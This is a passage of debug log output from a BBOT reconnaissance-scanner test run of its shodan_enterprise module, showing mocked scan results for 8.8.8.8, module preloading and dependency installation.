16:43:48,548 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) -2026-03-01 16:43:48,548 [DEBUG] bbot.modules.output.python base.py:1563 Queueing ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) because precheck succeeded -2026-03-01 16:43:48,629 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise -2026-03-01 16:43:48,630 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 16:43:48,631 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise -2026-03-01 16:43:48,631 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 16:43:48,632 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise -2026-03-01 16:43:48,632 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 16:43:48,633 [DEBUG] bbot.modules.output.python base.py:1563 Got ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) from shodan_enterprise -2026-03-01 16:43:48,633 [DEBUG] bbot.modules.output.python base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check -2026-03-01 16:43:48,633 [INFO] bbot.scanner scanner.py:790 Finishing scan -2026-03-01 16:43:48,634 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) because its type is FINISHED -2026-03-01 16:43:48,634 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'unarchive'}) because its type is FINISHED -2026-03-01 16:43:48,635 [DEBUG] bbot.modules.output.python base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'python'}) because its type is FINISHED -2026-03-01 16:43:48,636 [VERBOSE] bbot.scanner scanner.py:1181 Completed finish() -2026-03-01 16:43:48,636 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to FINISHING -2026-03-01 16:43:48,637 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) from None -2026-03-01 16:43:48,637 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Got FINISHED("FINISHED", module=None, tags={'unarchive'}) from None -2026-03-01 16:43:48,737 [DEBUG] bbot.modules.output.python base.py:1563 Got FINISHED("FINISHED", module=None, tags={'python'}) from None -2026-03-01 16:43:48,738 [VERBOSE] bbot.scanner scanner.py:1181 Completed final finish() -2026-03-01 16:43:48,757 [DEBUG] bbot.scanner scanner.py:1176 Cancelling all scan tasks -2026-03-01 16:43:48,758 [DEBUG] bbot.scanner scanner.py:1176 Finished cancelling all scan tasks -2026-03-01 16:43:48,758 [DEBUG] bbot.scanner scanner.py:1176 Awaiting 42 tasks -2026-03-01 16:43:48,765 [DEBUG] bbot.scanner scanner.py:1176 Awaited 42 tasks -2026-03-01 16:43:48,766 [VERBOSE] bbot.core.dnshelper engine.py:334 EngineClient DNSHelper: shutting down... -2026-03-01 16:43:48,767 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to CLEANING_UP -2026-03-01 16:43:48,768 [VERBOSE] bbot.core.dnsengine engine.py:509 EngineServer DNSEngine got shutdown signal -2026-03-01 16:43:48,768 [VERBOSE] bbot.core.dnsengine engine.py:551 EngineServer DNSEngine: shutting down... -2026-03-01 16:43:48,769 [VERBOSE] bbot.core.dnsengine engine.py:564 EngineServer DNSEngine: finished shutting down -2026-03-01 16:43:48,883 [HUGESUCCESS] bbot.scanner scanner.py:1206 Scan testshodan_enterprise_test_6kkmyclhgd completed in 0 seconds with status FINISHED -2026-03-01 16:43:48,884 [DEBUG] bbot base.py:113 Finished shodan_enterprise module test -2026-03-01 16:43:48,885 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-03-01 16:43:48,886 [CRITICAL] bbot test_module_shodan_enterprise.py:57 Found 1 ASN events -2026-03-01 16:43:48,886 [HUGEINFO] bbot test_module_shodan_enterprise.py:63 ASN Data: {'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': 'US'} -2026-03-01 16:43:48,887 [CRITICAL] bbot test_module_shodan_enterprise.py:72 Found 0 TECHNOLOGY events -2026-03-01 16:43:48,887 [HUGEINFO] bbot test_module_shodan_enterprise.py:75 Technologies: [] -2026-03-01 16:52:34,774 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/internal -2026-03-01 16:52:34,784 [DEBUG] bbot.module_loader modules.py:152 Preloading aggregate from cache -2026-03-01 16:52:34,785 [DEBUG] bbot.module_loader modules.py:152 Preloading cloudcheck from cache -2026-03-01 16:52:34,785 [DEBUG] bbot.module_loader modules.py:152 Preloading excavate from cache -2026-03-01 16:52:34,786 [DEBUG] bbot.module_loader modules.py:152 Preloading speculate from cache -2026-03-01 16:52:34,787 [DEBUG] bbot.module_loader modules.py:152 Preloading unarchive from cache -2026-03-01 16:52:34,788 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsresolve from cache -2026-03-01 16:52:34,788 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/output -2026-03-01 16:52:34,789 [DEBUG] bbot.module_loader modules.py:152 Preloading web_parameters from cache -2026-03-01 16:52:34,789 [DEBUG] bbot.module_loader modules.py:152 Preloading discord from cache -2026-03-01 16:52:34,791 [DEBUG] bbot.module_loader modules.py:152 Preloading emails from cache -2026-03-01 16:52:34,791 [DEBUG] bbot.module_loader modules.py:152 Preloading teams from cache -2026-03-01 16:52:34,792 [DEBUG] bbot.module_loader modules.py:152 Preloading txt from cache -2026-03-01 16:52:34,793 [DEBUG] bbot.module_loader modules.py:152 Preloading neo4j from cache -2026-03-01 16:52:34,794 [DEBUG] bbot.module_loader modules.py:152 Preloading asset_inventory from cache -2026-03-01 16:52:34,795 [DEBUG] bbot.module_loader modules.py:152 Preloading sqlite from cache -2026-03-01 16:52:34,795 [DEBUG] bbot.module_loader modules.py:152 Preloading web_report from cache -2026-03-01 16:52:34,796 [DEBUG] bbot.module_loader modules.py:152 Preloading http from cache -2026-03-01 16:52:34,797 [DEBUG] bbot.module_loader modules.py:152 Preloading csv from cache -2026-03-01 16:52:34,797 [DEBUG] bbot.module_loader modules.py:152 Preloading postgres from cache -2026-03-01 16:52:34,798 [DEBUG] bbot.module_loader modules.py:152 Preloading python from cache -2026-03-01 16:52:34,799 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomains from cache -2026-03-01 16:52:34,799 [DEBUG] bbot.module_loader modules.py:152 Preloading stdout from cache -2026-03-01 16:52:34,800 [DEBUG] bbot.module_loader modules.py:152 Preloading nmap_xml from cache -2026-03-01 16:52:34,801 [DEBUG] bbot.module_loader modules.py:152 Preloading json from cache -2026-03-01 16:52:34,801 [DEBUG] bbot.module_loader modules.py:152 Preloading slack from cache -2026-03-01 16:52:34,802 [DEBUG] bbot.module_loader modules.py:152 Preloading splunk from cache -2026-03-01 16:52:34,803 [DEBUG] bbot.module_loader modules.py:152 Preloading mysql from cache -2026-03-01 16:52:34,804 [DEBUG] bbot.module_loader modules.py:152 Preloading websocket from cache -2026-03-01 16:52:34,805 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/report -2026-03-01 16:52:34,805 [DEBUG] bbot.module_loader modules.py:152 Preloading asn from cache -2026-03-01 16:52:34,806 [DEBUG] bbot.module_loader modules.py:152 Preloading affiliates from cache -2026-03-01 16:52:34,806 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz -2026-03-01 16:52:34,807 [DEBUG] bbot.module_loader modules.py:152 Preloading lightfuzz from cache -2026-03-01 16:52:34,808 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules -2026-03-01 16:52:34,809 [DEBUG] bbot.module_loader modules.py:154 Preloading esi from disk -2026-03-01 16:52:34,809 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/esi.py as it is not a valid BBOT module -2026-03-01 16:52:34,810 [DEBUG] bbot.module_loader modules.py:154 Preloading cmdi from disk -2026-03-01 16:52:34,811 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/cmdi.py as it is not a valid BBOT module -2026-03-01 16:52:34,811 [DEBUG] bbot.module_loader modules.py:154 Preloading xss from disk -2026-03-01 16:52:34,813 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/xss.py as it is not a valid BBOT module -2026-03-01 16:52:34,814 [DEBUG] bbot.module_loader modules.py:154 Preloading crypto from disk -2026-03-01 16:52:34,816 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/crypto.py as it is not a valid BBOT module -2026-03-01 16:52:34,817 [DEBUG] bbot.module_loader modules.py:154 Preloading serial from disk -2026-03-01 16:52:34,818 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/serial.py as it is not a valid BBOT module -2026-03-01 16:52:34,819 [DEBUG] bbot.module_loader modules.py:154 Preloading sqli from disk -2026-03-01 16:52:34,820 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/sqli.py as it is not a valid BBOT module -2026-03-01 16:52:34,821 [DEBUG] bbot.module_loader modules.py:154 Preloading path from disk -2026-03-01 16:52:34,822 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/path.py as it is not a valid BBOT module -2026-03-01 16:52:34,823 [DEBUG] bbot.module_loader modules.py:154 Preloading ssti from disk -2026-03-01 16:52:34,824 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/ssti.py as it is not a valid BBOT module -2026-03-01 16:52:34,824 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/templates -2026-03-01 16:52:34,825 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules -2026-03-01 16:52:34,826 [DEBUG] bbot.module_loader modules.py:152 Preloading urlscan from cache -2026-03-01 16:52:34,827 [DEBUG] bbot.module_loader modules.py:152 Preloading jadx from cache -2026-03-01 16:52:34,827 [DEBUG] bbot.module_loader modules.py:152 Preloading trufflehog from cache -2026-03-01 16:52:34,828 [DEBUG] bbot.module_loader modules.py:152 Preloading host_header from cache -2026-03-01 16:52:34,829 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytxt from cache -2026-03-01 16:52:34,830 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsdumpster from cache -2026-03-01 16:52:34,830 [DEBUG] bbot.module_loader modules.py:152 Preloading bevigil from cache -2026-03-01 16:52:34,831 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_google from cache -2026-03-01 16:52:34,832 [DEBUG] bbot.module_loader modules.py:152 Preloading git from cache -2026-03-01 16:52:34,832 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_realm from cache -2026-03-01 16:52:34,833 [DEBUG] bbot.module_loader modules.py:152 Preloading extractous from cache -2026-03-01 16:52:34,838 [DEBUG] bbot.module_loader modules.py:152 Preloading credshed from cache -2026-03-01 16:52:34,839 [DEBUG] bbot.module_loader modules.py:152 Preloading fullhunt from cache -2026-03-01 16:52:34,840 [DEBUG] bbot.module_loader modules.py:152 Preloading social from cache -2026-03-01 16:52:34,840 [DEBUG] bbot.module_loader modules.py:152 Preloading pgp from cache -2026-03-01 16:52:34,842 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_tenant from cache -2026-03-01 16:52:34,842 [DEBUG] bbot.module_loader modules.py:152 Preloading virustotal from cache -2026-03-01 16:52:34,843 [DEBUG] bbot.module_loader modules.py:152 Preloading vhost from cache -2026-03-01 16:52:34,843 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_enterprise from cache -2026-03-01 16:52:34,844 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute from cache -2026-03-01 16:52:34,845 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_dns from cache -2026-03-01 16:52:34,845 [DEBUG] bbot.module_loader modules.py:152 Preloading ip2location from cache -2026-03-01 16:52:34,846 [DEBUG] bbot.module_loader modules.py:152 Preloading rapiddns from cache -2026-03-01 16:52:34,847 [DEBUG] bbot.module_loader modules.py:152 Preloading wpscan from cache -2026-03-01 16:52:34,848 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscommonsrv from cache -2026-03-01 16:52:34,849 [DEBUG] bbot.module_loader modules.py:152 Preloading passivetotal from cache -2026-03-01 16:52:34,850 [DEBUG] bbot.module_loader modules.py:152 Preloading ntlm from cache -2026-03-01 16:52:34,850 [DEBUG] bbot.module_loader modules.py:152 Preloading trickest from cache -2026-03-01 16:52:34,851 [DEBUG] bbot.module_loader modules.py:152 Preloading google_playstore from cache -2026-03-01 16:52:34,851 [DEBUG] bbot.module_loader modules.py:152 Preloading github_usersearch from cache -2026-03-01 16:52:34,852 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomainradar from cache -2026-03-01 16:52:34,853 [DEBUG] bbot.module_loader modules.py:152 Preloading dockerhub from cache -2026-03-01 16:52:34,853 [DEBUG] bbot.module_loader modules.py:152 Preloading medusa from cache -2026-03-01 16:52:34,854 [DEBUG] bbot.module_loader modules.py:152 Preloading digitorus from cache -2026-03-01 16:52:34,854 [DEBUG] bbot.module_loader modules.py:152 Preloading wafw00f from cache -2026-03-01 16:52:34,855 [DEBUG] bbot.module_loader modules.py:152 Preloading generic_ssrf from cache -2026-03-01 16:52:34,856 [DEBUG] bbot.module_loader modules.py:152 Preloading filedownload from cache -2026-03-01 16:52:34,861 [DEBUG] bbot.module_loader modules.py:152 Preloading chaos from cache -2026-03-01 16:52:34,862 [DEBUG] bbot.module_loader modules.py:152 Preloading httpx from cache -2026-03-01 16:52:34,863 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_zone from cache -2026-03-01 16:52:34,864 [DEBUG] bbot.module_loader modules.py:152 Preloading graphql_introspection from cache -2026-03-01 16:52:34,865 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_headers from cache -2026-03-01 16:52:34,866 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytrails from cache -2026-03-01 16:52:34,866 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_microsoft from cache -2026-03-01 16:52:34,867 [DEBUG] bbot.module_loader modules.py:152 Preloading viewdns from cache -2026-03-01 16:52:34,868 [DEBUG] bbot.module_loader modules.py:152 Preloading url_manipulation from cache -2026-03-01 16:52:34,868 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf_shortnames from cache -2026-03-01 16:52:34,869 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_ip from cache -2026-03-01 16:52:34,870 [DEBUG] bbot.module_loader modules.py:152 Preloading builtwith from cache -2026-03-01 16:52:34,871 [DEBUG] bbot.module_loader modules.py:152 Preloading certspotter from cache -2026-03-01 16:52:34,872 [DEBUG] bbot.module_loader modules.py:152 Preloading sslcert from cache -2026-03-01 16:52:34,873 [DEBUG] bbot.module_loader modules.py:152 Preloading gitdumper from cache -2026-03-01 16:52:34,873 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_idb from cache -2026-03-01 16:52:34,874 [DEBUG] bbot.module_loader modules.py:152 Preloading hackertarget from cache -2026-03-01 16:52:34,874 [DEBUG] bbot.module_loader modules.py:152 Preloading c99 from cache -2026-03-01 16:52:34,875 [DEBUG] bbot.module_loader modules.py:152 Preloading newsletters from cache -2026-03-01 16:52:34,875 [DEBUG] bbot.module_loader modules.py:152 Preloading apkpure from cache -2026-03-01 16:52:34,876 [DEBUG] bbot.module_loader modules.py:152 Preloading crt from cache -2026-03-01 16:52:34,876 [DEBUG] bbot.module_loader modules.py:152 Preloading postman_download from cache -2026-03-01 16:52:34,877 [DEBUG] bbot.module_loader modules.py:152 Preloading hunt from cache -2026-03-01 16:52:34,878 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf from cache -2026-03-01 16:52:34,879 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute_mutations from cache -2026-03-01 16:52:34,879 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_firebase from cache -2026-03-01 16:52:34,880 [DEBUG] bbot.module_loader modules.py:152 Preloading nuclei from cache -2026-03-01 16:52:34,881 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_dns from cache -2026-03-01 16:52:34,882 [DEBUG] bbot.module_loader modules.py:152 Preloading retirejs from cache -2026-03-01 16:52:34,883 [DEBUG] bbot.module_loader modules.py:152 Preloading git_clone from cache -2026-03-01 16:52:34,883 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_amazon from cache -2026-03-01 16:52:34,884 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_digitalocean from cache -2026-03-01 16:52:34,885 [DEBUG] bbot.module_loader modules.py:152 Preloading skymem from cache -2026-03-01 16:52:34,885 [DEBUG] bbot.module_loader modules.py:152 Preloading hunterio from cache -2026-03-01 16:52:34,886 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_cookies from cache -2026-03-01 16:52:34,886 [DEBUG] bbot.module_loader modules.py:152 Preloading postman from cache -2026-03-01 16:52:34,887 [DEBUG] bbot.module_loader modules.py:152 Preloading code_repository from cache -2026-03-01 16:52:34,888 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_com from cache -2026-03-01 16:52:34,888 [DEBUG] bbot.module_loader modules.py:152 Preloading dnstlsrpt from cache -2026-03-01 16:52:34,889 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns from cache -2026-03-01 16:52:34,890 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomaincenter from cache -2026-03-01 16:52:34,890 [DEBUG] bbot.module_loader modules.py:152 Preloading wayback from cache -2026-03-01 16:52:34,891 [DEBUG] bbot.module_loader modules.py:152 Preloading ipstack from cache -2026-03-01 16:52:34,892 [DEBUG] bbot.module_loader modules.py:152 Preloading emailformat from cache -2026-03-01 16:52:34,892 [DEBUG] bbot.module_loader modules.py:152 Preloading fingerprintx from cache -2026-03-01 16:52:34,893 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscaa from cache -2026-03-01 16:52:34,894 [DEBUG] bbot.module_loader modules.py:152 Preloading bypass403 from cache -2026-03-01 16:52:34,894 [DEBUG] bbot.module_loader modules.py:152 Preloading leakix from cache -2026-03-01 16:52:34,895 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_getparams from cache -2026-03-01 16:52:34,895 [DEBUG] bbot.module_loader modules.py:152 Preloading reflected_parameters from cache -2026-03-01 16:52:34,896 [DEBUG] bbot.module_loader modules.py:152 Preloading crt_db from cache -2026-03-01 16:52:34,896 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_file_enum from cache -2026-03-01 16:52:34,897 [DEBUG] bbot.module_loader modules.py:152 Preloading portscan from cache -2026-03-01 16:52:34,898 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_direct from cache -2026-03-01 16:52:34,899 [DEBUG] bbot.module_loader modules.py:152 Preloading ajaxpro from cache -2026-03-01 16:52:34,899 [DEBUG] bbot.module_loader modules.py:152 Preloading telerik from cache -2026-03-01 16:52:34,900 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbimi from cache -2026-03-01 16:52:34,901 [DEBUG] bbot.module_loader modules.py:152 Preloading aspnet_bin_exposure from cache -2026-03-01 16:52:34,901 [DEBUG] bbot.module_loader modules.py:152 Preloading otx from cache -2026-03-01 16:52:34,902 [DEBUG] bbot.module_loader modules.py:152 Preloading github_codesearch from cache -2026-03-01 16:52:34,902 [DEBUG] bbot.module_loader modules.py:152 Preloading dehashed from cache -2026-03-01 16:52:34,903 [DEBUG] bbot.module_loader modules.py:152 Preloading gowitness from cache -2026-03-01 16:52:34,904 [DEBUG] bbot.module_loader modules.py:152 Preloading docker_pull from cache -2026-03-01 16:52:34,905 [DEBUG] bbot.module_loader modules.py:152 Preloading ipneighbor from cache -2026-03-01 16:52:34,905 [DEBUG] bbot.module_loader modules.py:152 Preloading bufferoverrun from cache -2026-03-01 16:52:34,906 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_onprem from cache -2026-03-01 16:52:34,906 [DEBUG] bbot.module_loader modules.py:152 Preloading iis_shortnames from cache -2026-03-01 16:52:34,907 [DEBUG] bbot.module_loader modules.py:152 Preloading badsecrets from cache -2026-03-01 16:52:34,908 [DEBUG] bbot.module_loader modules.py:152 Preloading myssl from cache -2026-03-01 16:52:34,908 [DEBUG] bbot.module_loader modules.py:152 Preloading github_workflows from cache -2026-03-01 16:52:34,909 [DEBUG] bbot.module_loader modules.py:152 Preloading dotnetnuke from cache -2026-03-01 16:52:34,909 [DEBUG] bbot.module_loader modules.py:152 Preloading smuggler from cache -2026-03-01 16:52:34,910 [DEBUG] bbot.module_loader modules.py:152 Preloading robots from cache -2026-03-01 16:52:34,910 [DEBUG] bbot.module_loader modules.py:152 Preloading anubisdb from cache -2026-03-01 16:52:34,911 [DEBUG] bbot.module_loader modules.py:152 Preloading oauth from cache -2026-03-01 16:52:34,912 [DEBUG] bbot.module_loader modules.py:152 Preloading github_org from cache -2026-03-01 16:52:34,912 [DEBUG] bbot.module_loader modules.py:152 Preloading portfilter from cache -2026-03-01 16:52:34,913 [DEBUG] bbot.module_loader modules.py:152 Preloading sitedossier from cache -2026-03-01 16:52:34,913 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/deadly -2026-03-01 16:52:34,914 [DEBUG] bbot.module_loader modules.py:152 Preloading legba from cache -2026-03-01 16:52:36,024 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-03-01 16:52:36,024 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-03-01 16:52:36,025 [INFO] bbot base.py:99 Starting shodan_enterprise module test -2026-03-01 16:52:36,163 [DEBUG] bbot.presets preset.py:1003 Preset : Getting baked -2026-03-01 16:52:36,763 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "shodan_enterprise" of type "scan" -2026-03-01 16:52:36,763 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "python" of type "output" -2026-03-01 16:52:36,764 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "unarchive" of type "internal" -2026-03-01 16:52:36,764 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "dnsresolve" of type "internal" -2026-03-01 16:52:36,979 [WARNING] bbot.scanner scanner.py:1211 You have enabled custom HTTP headers. These will be attached to all in-scope requests and all requests made by httpx. -2026-03-01 16:52:36,980 [DEBUG] bbot base.py:103 Mocking DNS -2026-03-01 16:52:37,090 [DEBUG] bbot base.py:105 Executing setup_before_prep() -2026-03-01 16:52:37,090 [DEBUG] bbot base.py:107 Executing scan._prep() -2026-03-01 16:52:37,144 [HUGEINFO] bbot.scanner scanner.py:1196 Scan seeded with 1 targets (1 in whitelist) -2026-03-01 16:52:37,147 [INFO] bbot.core.helpers.depsinstaller installer.py:470 Installing Ansible Community General Collection -2026-03-01 16:52:37,147 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/ansible-galaxy collection install community.general -2026-03-01 16:52:37,583 [INFO] bbot.core.helpers.depsinstaller installer.py:475 Successfully installed Ansible Community General Collection -2026-03-01 16:52:37,584 [INFO] bbot.core.helpers.depsinstaller installer.py:492 Installing core BBOT dependencies: openssl_dev_headers -2026-03-01 16:52:44,001 [SUCCESS] bbot.core.helpers.depsinstaller installer.py:440 Authentication successful -2026-03-01 16:52:44,001 [DEBUG] bbot.core.helpers.depsinstaller installer.py:363 ansible_run(module=None, args=None, ansible_args=None) -2026-03-01 16:52:44,002 [DEBUG] bbot.core.helpers.depsinstaller installer.py:375 { - "hosts": "all", - "tasks": [ - { - "name": "Install OpenSSL library and development headers (Debian/Ubuntu)", - "package": { - "name": [ - "libssl-dev", - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Debian'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (RedHat/CentOS/Fedora)", - "package": { - "name": [ - "openssl", - "openssl-devel" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'RedHat' or ansible_facts['os_family'] == 'Suse' ", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (Arch)", - "package": { - "name": [ - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Archlinux'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (Alpine)", - "package": { - "name": [ - "openssl", - "openssl-dev" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Alpine'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (FreeBSD)", - "package": { - "name": [ - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'FreeBSD'", - "ignore_errors": true - } - ] -} -2026-03-01 16:52:45,801 [DEBUG] bbot.core.helpers.depsinstaller installer.py:397 Ansible status: successful -2026-03-01 16:52:45,802 [DEBUG] bbot.core.helpers.depsinstaller installer.py:398 Ansible return code: 0 -2026-03-01 16:52:45,807 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing python - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-03-01 16:52:45,808 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "python" -2026-03-01 16:52:45,808 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing shodan_enterprise - Preloaded Deps {'modules': [], 'pip': ['shodan'], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-03-01 16:52:45,809 [HUGEINFO] bbot.core.helpers.depsinstaller installer.py:193 Installing module dependencies. Please be patient, this may take a while. -2026-03-01 16:52:45,809 [VERBOSE] bbot.core.helpers.depsinstaller installer.py:195 Installing dependencies for module "shodan_enterprise" -2026-03-01 16:52:45,809 [INFO] bbot.core.helpers.depsinstaller installer.py:269 Installing the following pip packages: shodan -2026-03-01 16:52:45,814 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/python -m pip install --upgrade shodan --constraint /private/tmp/.bbot_test/temp/qlzpk34au7f7g73s1t4v -2026-03-01 16:52:46,572 [INFO] bbot.core.helpers.depsinstaller installer.py:288 Requirement already satisfied: filelock>=3.0.8 in /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/lib/python3.10/site-packages (from tldextract->shodan) (3.18.0) -2026-03-01 16:52:46,573 [DEBUG] bbot.core.helpers.depsinstaller installer.py:202 Setup succeeded for module "shodan_enterprise" -2026-03-01 16:52:46,573 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing dnsresolve - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-03-01 16:52:46,573 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "dnsresolve" -2026-03-01 16:52:46,573 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing unarchive - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-03-01 16:52:46,574 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "unarchive" -2026-03-01 16:52:46,575 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 scan modules: shodan_enterprise -2026-03-01 16:52:46,694 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "shodan_enterprise" -2026-03-01 16:52:46,694 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 scan modules (shodan_enterprise) -2026-03-01 16:52:46,694 [VERBOSE] bbot.scanner scanner.py:1181 Loading 2 internal modules: dnsresolve,unarchive -2026-03-01 16:52:46,696 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "dnsresolve" 